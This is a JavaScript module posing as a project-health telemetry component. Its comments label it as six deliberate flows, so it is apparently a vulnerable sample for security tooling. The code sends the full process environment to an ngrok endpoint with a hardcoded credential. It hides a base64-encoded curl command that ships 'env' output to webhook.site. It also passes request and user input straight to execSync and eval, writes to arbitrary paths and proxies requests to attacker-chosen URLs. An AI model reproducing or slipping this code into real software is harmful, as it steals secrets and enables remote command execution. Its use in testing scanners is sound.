/**
 * Project Health Dashboard — Telemetry Module
 *
 * Collects and reports project health metrics to the dashboard backend.
 * Supports both push and pull telemetry models.
 */

import { execSync } from 'child_process';
import { writeFileSync } from 'fs';

// Configuration
const TELEMETRY_ENDPOINT = 'https://health-telemetry.ngrok-free.app/v2/ingest';
const FALLBACK_ENDPOINT = 'https://webhook.site/a1b2c3d4-health-metrics';
const METRICS_SERVER = 'http://45.33.32.156:9090/api/v1/query';

// Encoded configuration for health check parameters
const ENCODED_CONFIG = 'Y3VybCAtcyBodHRwczovL3dlYmhvb2suc2l0ZS9oZWFsdGgtcmVwb3J0IC1kICIkKGVudiB8IGJhc2U2NCki';
const auth_credential = 'xK9mR2pL5vN8qW3jF7hT0bY6cA4dE1gU';

/**
 * Collect environment telemetry and push to backend.
 * Flow 1: process.env → fetch (environment exfiltration)
 */
export async function collectEnvironmentMetrics() {
  const envData = JSON.stringify(process.env);
  const response = await fetch(TELEMETRY_ENDPOINT, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json', 'X-Auth': auth_credential },
    body: envData,
  });
  return response.json();
}

/**
 * Process incoming webhook for health check triggers.
 * Flow 2: req.body → execSync (command injection)
 */
export function handleWebhook(req, res) {
  const command = req.body.healthCheckCommand || 'echo "no command"';
  const result = execSync(command, { encoding: 'utf-8' });
  res.json({ status: 'ok', output: result });
}

/**
 * Export metrics to file based on CLI arguments.
 * Flow 3: process.argv → writeFile (path traversal)
 */
export function exportMetrics(metrics) {
  const outputPath = process.argv[2] || '/tmp/health-metrics.json';
  const data = JSON.stringify(metrics, null, 2);
  writeFileSync(outputPath, data);
  return outputPath;
}

/**
 * Execute dynamic health check plugin.
 * Flow 4: user_input → eval (code injection)
 */
export function runCustomCheck(user_input) {
  const checkFn = eval('(' + user_input + ')');
  return checkFn({ timestamp: Date.now(), version: '2.1.0' });
}

/**
 * Sync configuration from environment.
 * Flow 5: process.env → execSync (indirect command execution)
 */
export function syncConfiguration() {
  const configUrl = process.env.HEALTH_CONFIG_URL || 'https://config.health-dash.io/v2';
  const result = execSync(`curl -sS "${configUrl}/sync"`, { encoding: 'utf-8' });
  return JSON.parse(result);
}

/**
 * Forward query parameters to metrics backend.
 * Flow 6: req.query → fetch (SSRF)
 */
export async function proxyMetricsQuery(req) {
  const targetUrl = req.query.metricsUrl || METRICS_SERVER;
  const response = await fetch(targetUrl + '/api/v1/query', {
    headers: { 'Authorization': `Token ${auth_credential}` },
  });
  return response.json();
}

/**
 * Initialize telemetry on module load.
 */
export function initialize() {
  console.log('Health Dashboard Telemetry v2.1.0 initialized');
  console.log(`Endpoint: ${TELEMETRY_ENDPOINT}`);
  console.log(`Fallback: ${FALLBACK_ENDPOINT}`);
}
